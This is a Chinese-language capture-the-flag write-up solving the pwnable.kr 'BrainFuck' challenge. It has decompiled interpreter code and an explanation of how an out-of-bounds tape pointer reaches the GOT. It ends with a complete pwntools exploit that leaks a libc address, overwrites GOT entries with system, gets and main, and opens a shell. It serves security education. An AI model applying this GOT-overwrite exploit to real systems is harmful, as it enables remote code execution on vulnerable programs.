[Pwnable.kr] BrainFuck
第二部分的第一题,150分(比第一部分总和还高……),F5整理一下代码还是很容易看懂的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 |
int __cdecl main(int argc, const char **argv, const char **envp) { int result; // eax@4 int v4; // edx@4 size_t i; // [esp+28h] [ebp-40Ch]@1 int v6; // [esp+2Ch] [ebp-408h]@1 int v7; // [esp+42Ch] [ebp-8h]@1 v7 = *MK_FP(__GS__, 20); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); p = (int)&tape; puts("welcome to brainfuck testing system!!"); puts("type some brainfuck instructions except [ ]"); memset(&v6, 0, 0x400u); fgets((char *)&v6, 1024, stdin); for ( i = 0; i < strlen((const char *)&v6); ++i ) do_brainfuck(*((_BYTE *)&v6 + i)); result = 0; v4 = *MK_FP(__GS__, 20) ^ v7; return result; } int __cdecl do_brainfuck(char a1) { int result; // eax@1 _BYTE *v2; // ebx@7 result = a1; switch ( a1 ) { case 43: result = p; ++*(_BYTE *)p; break; case 44: v2 = (_BYTE *)p; result = getchar(); *v2 = result; break; case 45: result = p; --*(_BYTE *)p; break; case 46: result = putchar(*(char *)p); break; case 60: result = p-- - 1; break; case 62: result = p++ + 1; break; case 91: result = puts("[ and ] not supported."); break; default: return result; } return result; } |
case里的部分用字符替换一下,大概意思就是p是一个字符指针,用”<“、”>“控制指针位置,”,”表示写入,”.”显示该位置的值,想办法exploit。
这里p的初始位置是&tape,从ida中可以看到:


我们就知道了p的初始位置是0x0804a0a0。
引用外部库函数需要通过plt表来定位其在动态链接库里的相对位置(关处于got表和plt表网上有介绍,此略过),我们可以在ida中找到.plt.got段,里面包含了我们要使用的libc的函数及地址。

所以我们只需要通过相对位置修改plt表,就可以控制调用其他的函数。替换哪个比较好呢?
看这两行,如果memset变成了gets,fgets变成了system,不是正好?v6恰好也是一个字符数组。
但是我们修改plt的过程是发生在这两句之后的,如何再重新执行这两条命令呢?
我们只需要把putchar的plt表值改写成main函数的地址即可,这样在下次调用”.”命令的时候,会调用putchar,就直接跳转到main函数入口了
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
from pwn import * libc = ELF("./bf_libc.so") p = remote("pwnable.kr", 9001) p.recvline_startswith("type") # move to .got.plt.fgets payload = '<'*(0x0804A0A0-0x0804A010) # print .got.plt.fgets payload += '.>'*4 # move back and write system payload += '<'*4 + ',>'*4 # move to .got.plt.memset payload += '<'*4 + '>'*(0x0804A02C-0x0804A010) # write gets payload += ',>'*4 # move to putchar -- already here # write main payload += ',>'*4 # execute '.' payload += '.' p.sendline(payload) addr_fgets = p.recvn(4)[::-1].encode('hex') addr_system = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['system'] addr_gets = int(addr_fgets, 16) - libc.symbols['fgets'] + libc.symbols['gets'] p.send(struct.pack('I', addr_system)) p.send(struct.pack('I', addr_gets)) p.send(struct.pack('I', 0x08048671)) p.sendline('/bin/sh') p.interactive() |
1 thought on “[Pwnable.kr] BrainFuck”